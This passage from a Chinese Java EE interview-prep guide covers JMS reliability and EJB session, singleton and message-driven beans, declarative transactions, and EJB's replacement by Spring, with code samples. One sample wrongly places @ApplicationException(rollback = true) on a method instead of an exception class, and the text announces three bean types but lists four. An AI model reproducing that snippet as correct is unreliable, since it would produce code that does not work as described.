- 重复消费:由「至少一次」投递语义决定,属于正常现象而非故障。解决方案是幂等——唯一索引约束、去重表、状态机判断(只允许从「待支付」流转到「已支付」),而不是试图让 Broker 保证不重复。
面试问答
JMS 的两种消息模型有什么区别?
点对点(Queue)中一条消息只由队列上的一个消费者消费,消费者之间是竞争关系,适合任务分发与削峰;发布订阅(Topic)中一条消息会投递给所有订阅者,适合事件通知。前者天然持久(离线消费者上线后能消费积压消息),后者默认不持久,需要持久订阅才能保证离线期间不丢消息。
JMS 的确认模式有哪几种?
三种:AUTO_ACKNOWLEDGE 在消息送达消费者后自动确认,处理失败会丢消息;CLIENT_ACKNOWLEDGE 由业务代码在处理成功后调用 acknowledge(),能真正避免丢失,是推荐模式;DUPS_OK_ACKNOWLEDGE 延迟批量确认,性能换重复。要避免丢消息就用 CLIENT_ACKNOWLEDGE,并且消费端必须幂等。
如何保证消息不丢?
分三段看:生产端用持久化投递(PERSISTENT)+ 发送确认(或在事务/本地消息表内发送);Broker 端开启持久化存储与主从/副本;消费端在处理成功后再确认,并配合重试与死信队列兜底。三段缺任何一段,消息都可能在对应环节丢失——只做其中一段往往给人「已经可靠了」的错觉。
消息重复怎么处理?
重复是「至少一次」投递语义的必然结果,正确做法是消费端幂等而非要求不重复:用业务唯一键(订单号 / 消息 ID)建唯一索引或去重表,或用状态机限制流转(如只允许「待支付 → 已支付」一次),使重复执行的结果与执行一次一致。
JMS 事务能保证数据库和消息的一致性吗?
不能。JMS 的事务只覆盖消息的发送与确认,不跨数据库。要保证「数据库写入成功且消息发出」需要额外机制:本地消息表(与业务同库同事务,再异步投递)、事务消息(两阶段提交的半消息方案),或接受最终一致并用对账补偿。
为什么新项目多用 RocketMQ/Kafka 而不是 JMS?
JMS 是接口规范,性能与扩展性受具体实现限制,且规范本身演进缓慢。RocketMQ、Kafka 虽不实现 JMS 接口,但提供了更高的吞吐、更好的水平扩展、事务消息与流式处理能力,同时生态(监控、运维、客户端)更完善。不过它们的消息模型、确认语义与 JMS 一脉相承,理解 JMS 有助于快速掌握它们。
EJB
EJB(Enterprise JavaBeans)是 Java EE 中承载业务逻辑的分布式组件模型。它曾经是 Java EE 的核心与代名词,也曾经因为「写一个 Hello World 要一堆接口和描述符」而声名狼藉。理解 EJB 的意义在于两点:声明式事务、容器托管组件这两个今天仍在使用的思想由它确立;而 Spring 之所以流行,正是因为用 POJO 重新实现了同样的能力。
EJB 是什么
EJB 不是一个「类」,而是一类由容器托管的业务组件,运行在 EJB 容器中(WildFly、WebLogic、WebSphere 等完整 Java EE 应用服务器)。
容器为 EJB 提供的横切能力:
| 能力 | 说明 |
|---|---|
| 生命周期管理 | 实例创建、池化、销毁由容器负责,开发者不写 new |
| 声明式事务 | 加注解即自动开启/提交/回滚事务 |
| 安全管理 | 基于角色的方法级权限,由容器拦截 |
| 并发与线程 | 容器保证单线程访问,开发者不必处理并发 |
| 远程调用 | 自动生成 Stub,支持远程访问 |
| 资源注入 | 数据源、JMS、其他 EJB 通过注解注入 |
EJB 的「单线程模型」是一条硬约定:容器保证任一时刻只有一个线程在执行某个 EJB 实例的方法。因此 EJB 里可以安全地把状态放在成员变量上(这也是 Stateful Bean 成立的前提),不需要自己加锁。这与 Servlet「单实例多线程」的模型正好相反。
三次版本演进
EJB 的历史就是「如何把复杂的东西变简单」的历史,也是它被 Spring 取代的过程:
| 版本 | 关键变化 | 开发者感受 |
|---|---|---|
| EJB 2.x | 组件必须继承容器基类、实现多个接口,还要写部署描述符 | 极重,无法脱离容器单测 |
| EJB 3.0 | 引入注解(@Stateless 等);POJO + 接口;用 JPA 取代 Entity Bean;支持依赖注入 | 明显简化,但生态已被 Spring 占据 |
| EJB 3.1+ | 支持无接口 Bean(@LocalBean)、异步方法、单例 Bean、可嵌入容器(便于测试) | 追上 Spring,时机已晚 |
三种 Bean
EJB 3.x 有三种业务 Bean(原来的 Entity Bean 已被 JPA 取代,不再是 EJB):
| 类型 | 注解 | 实例与状态 | 典型用途 |
|---|---|---|---|
| 无状态会话 Bean | @Stateless | 池化多实例,无状态 | 业务服务、事务边界(最常用) |
| 有状态会话 Bean | @Stateful | 每客户端一实例,有状态 | 购物车、多步向导 |
| 单例会话 Bean | @Singleton | 全局唯一,有状态 | 缓存、全局配置、启动初始化 |
| 消息驱动 Bean | @MessageDriven | 池化多实例,无状态 | 异步消费 JMS 消息 |
无状态会话 Bean 是最常用的一种,池化复用、性能最好:
@Stateless
public class OrderService {
@PersistenceContext
private EntityManager em; // 容器注入,事务内自动管理
@Resource
private DataSource dataSource; // 按名字注入资源
public Order create(OrderRequest req) {
Order order = new Order(req);
em.persist(order);
return order;
}
}无状态 Bean 的「无状态」指的是不保存与特定客户端相关的会话状态,不是「不能有字段」。容器会把同一个实例轮流给不同客户端使用,所以成员变量里绝不能放用户数据——这与 Servlet 的线程安全问题同源,只是 EJB 用池化替代了并发调用。
有状态会话 Bean 为每个客户端维护独立实例,实例会被容器「钝化」(序列化到磁盘)与「激活」(恢复到内存)以节省资源:
@Stateful
public class ShoppingCartBean implements ShoppingCart {
private final List<Item> items = new ArrayList<>(); // 属于某一个客户端
@Override
public void add(Item item) { items.add(item); }
@Override
public List<Item> list() { return List.copyOf(items); }
@Remove // 调用后容器销毁实例
public void checkout() { /* 下单 */ }
}因为需要钝化/激活,有状态 Bean 的字段必须可序列化,且实例不能过多——这也是它使用较少的原因。
单例会话 Bean 全局唯一,常用于缓存与启动初始化,并发访问需要 @Lock 控制:
@Singleton
@Startup // 应用启动时立即创建
public class ConfigCache {
private final Map<String, String> cache = new ConcurrentHashMap<>();
@PostConstruct
public void load() { /* 启动时加载配置 */ }
@Lock(LockType.READ) // 默认是 WRITE,读多写少时改为 READ 提升并发
public String get(String key) { return cache.get(key); }
}消息驱动 Bean 是 JMS 的消费者封装,由容器管理并发与事务:
@MessageDriven(activationConfig = {
@ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue"),
@ActivationConfigProperty(propertyName = "destination", propertyValue = "queue/order.created")
})
public class OrderMessageBean implements MessageListener {
@Override
public void onMessage(Message message) {
// 收到消息即在一个容器管理的事务中执行
}
}声明式事务
EJB 确立的最有价值的思想:事务不由业务代码控制,而由容器根据元数据在方法边界处自动处理。
@Stateless
public class TransferService {
@TransactionAttribute(TransactionAttributeType.REQUIRED) // 默认值
public void transfer(Long from, Long to, BigDecimal amount) {
accountDao.debit(from, amount);
accountDao.credit(to, amount);
// 正常返回 → 容器提交;抛 RuntimeException → 容器回滚
}
}六种事务属性,覆盖了所有「方法被调用时已有事务该怎么办」的情形:
| 属性 | 已有事务时 | 无事务时 | 适用场景 |
|---|---|---|---|
REQUIRED | 加入 | 新建 | 默认,绝大多数业务方法 |
REQUIRES_NEW | 挂起原有,新建 | 新建 | 必须独立提交/回滚(如日志记录) |
SUPPORTS | 加入 | 不开启 | 可选事务的查询 |
NOT_SUPPORTED | 挂起原有 | 不开启 | 明确不能有事务的操作 |
MANDATORY | 加入 | 抛异常 | 强制要求调用方开启事务 |
NEVER | 抛异常 | 不开启 | 禁止事务 |
回滚规则要特别记住:默认只有 RuntimeException 和 Error 触发回滚,受检异常不会。需要受检异常也回滚时必须显式声明:
@TransactionAttribute(TransactionAttributeType.REQUIRED)
@ApplicationException(rollback = true) // 受检异常也回滚
public void doWork() throws BizException { /* ... */ }「事务为什么不回滚」的根因几乎都在这里:受检异常默认不回滚、异常被 try-catch 吞掉、或者自调用(this.method())绕过了容器代理。Spring 的 @Transactional 语义与 EJB 完全一致——它继承了 EJB 的事务属性定义,包括这条默认回滚规则。
为什么被 Spring 取代
EJB 在技术上并非失败,它输在开发体验与生态:
| 维度 | EJB | Spring |
|---|---|---|
| 组件模型 | 必须运行在 EJB 容器中 | POJO,普通 Java 对象 |
| 单元测试 | 早期必须依赖容器(后期有嵌入式容器改善) | 直接 new 或轻量容器,无需容器 |
| AOP | 仅容器提供的有限能力 | 完整的 AOP,可自定义切面 |
| 编程模型 | 规范驱动,改动受 JSR 流程约束 | 库驱动,版本迭代快 |
| 依赖注入 | @EJB / @Resource(仅容器资源) | @Autowired,任意 Bean |
// EJB 写法:容器托管,事务靠注解
@Stateless
public class OrderService { /* ... */ }
// Spring 写法:普通 POJO,能力等价
@Service
public class OrderService { /* ... */ }关键差异不在功能列表,而在可测试性:POJO 意味着业务逻辑可以在普通 JVM 里跑测试,不需要启动应用服务器。这一点在持续集成的时代是决定性的。
后续的故事是相互吸收:EJB 3.x 借鉴了 Spring 的 POJO 与注解思路;Spring 也实现了 JSR-330(@Inject)与 JSR-250(@Resource)等 Java EE 标准注解,甚至提供了 EJB 的调用代理(@EJB 支持)。所以面试里问 EJB,重点不在「EJB 有哪些类型」,而在「它的哪些思想存活到了今天」。
相关知识
- JPA:取代了 EJB 2.x 的 Entity Bean。Hibernate 是 JPA 最流行的实现,Spring Data JPA 在其之上再封装。
- JTA:EJB 容器管理的分布式事务 API,跨多个资源(数据库 + 消息队列)提交。
- JMS:消息驱动 Bean 的底层规范,见 JMS。
- JNDI:EJB 的查找入口,见 JNDI。
面试问答
EJB 和 Spring 的关系是什么?
Spring 的出现很大程度上是为了替代 EJB:用普通 POJO + 注解 + AOP 实现了 EJB 提供的容器托管、声明式事务、声明式安全等能力,同时摆脱了对重量级应用服务器的依赖,使业务逻辑可以脱离容器进行单元测试。后来两者互相借鉴——EJB 3.x 引入了 POJO 与注解,Spring 也支持了 Java EE 的标准注解(@Resource、@Inject)。
Session Bean 有哪几种,区别是什么?
三种:无状态(@Stateless)不保存客户端状态,实例池化复用,性能最好,最常用;有状态(@Stateful)为每个客户端维护独立实例,可被容器钝化/激活,适合购物车这类多步会话;单例(@Singleton)全局唯一,适合缓存与启动初始化,并发访问需用 @Lock 控制。它们的共同点是由容器管理生命周期,且容器保证单线程访问。
EJB 的事务属性和 Spring 的一样吗?
语义完全一致,Spring 的传播行为定义直接继承了 EJB:REQUIRED(默认) 加入或新建、REQUIRES_NEW 挂起原有并新建、SUPPORTS、NOT_SUPPORTED、MANDATORY、NEVER。回滚规则也相同:默认只有 RuntimeException 与 Error 触发回滚,受检异常需要显式声明(EJB 用 @ApplicationException(rollback = true),Spring 用 @Transactional(rollbackFor = ...))。
Entity Bean 去哪了?
EJB 2.x 的 Entity Bean 把数据库行映射成容器管理的对象,但它依赖容器、无法脱离应用服务器测试,且 ORM 能力远逊于 Hibernate。EJB 3.0 用 JPA 规范取代了它,Entity Bean 不再是 EJB 的一部分。所以「EJB 的实体 Bean」在今天应理解为「JPA 实体」,实现框架通常是 Hibernate,再由 Spring Data JPA 提供仓储抽象。
为什么说 EJB 的线程模型和 Servlet 相反?
Servlet 是单实例多线程:一个实例被多个请求线程并发调用,所以成员变量有线程安全问题;EJB 是实例池 + 容器保证单线程访问:任一实例同一时刻只被一个线程执行,所以可以有状态、可以放心用成员变量(有状态 Bean 正是靠这一点成立)。理解这个差异,两类组件的「能不能写成员变量」就不再是靠记忆的结论了。